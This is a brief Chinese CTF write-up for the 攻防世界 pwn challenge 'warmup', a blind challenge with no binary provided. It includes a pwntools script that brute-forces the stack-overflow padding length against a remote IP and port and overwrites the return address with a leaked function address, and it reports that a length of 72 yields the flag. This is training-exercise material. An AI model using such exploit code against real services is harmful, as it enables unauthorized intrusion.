攻防世界pwn题:warmup
0x00:前言
这道题是盲打题,就是没有给附件,只给了远程环境。
但这道题并不难,由于这种形式少见,所以我就在这里记录一下。
下面看看我的做题思路吧~
0x01:做题思路
1、初览
题目并没有给附件,这时候就可以做好盲打的准备了。
2、连接远程并分析
用nc连接一下远程:
给了一个地址,0x40060d,看地址是个64位的程序。给了一个地址,大胆猜测是get_shell或者是cat_flag相关的。然后我们可以操作的是输入数据,回车也没有任何返回值,这也可以排除格式化字符串漏洞。我们可以先考虑最简单的栈溢出。
3、编写exp
from pwn import * sys = 0x40060d for i in range(100): print(i) try: io = remote("111.200.241.244",53599) payload = b'A'*i + p64(sys) io.recvuntil(">") io.sendline(payload) print(io.recv()) io.interactive() except: io.close()
从0到99依次尝试,判断溢出所需长度。
在长度为72时,打印出了flag:
注意,这里要用try……except结构处理异常,不然就会报错导致退出执行:
tolele
2022-07-02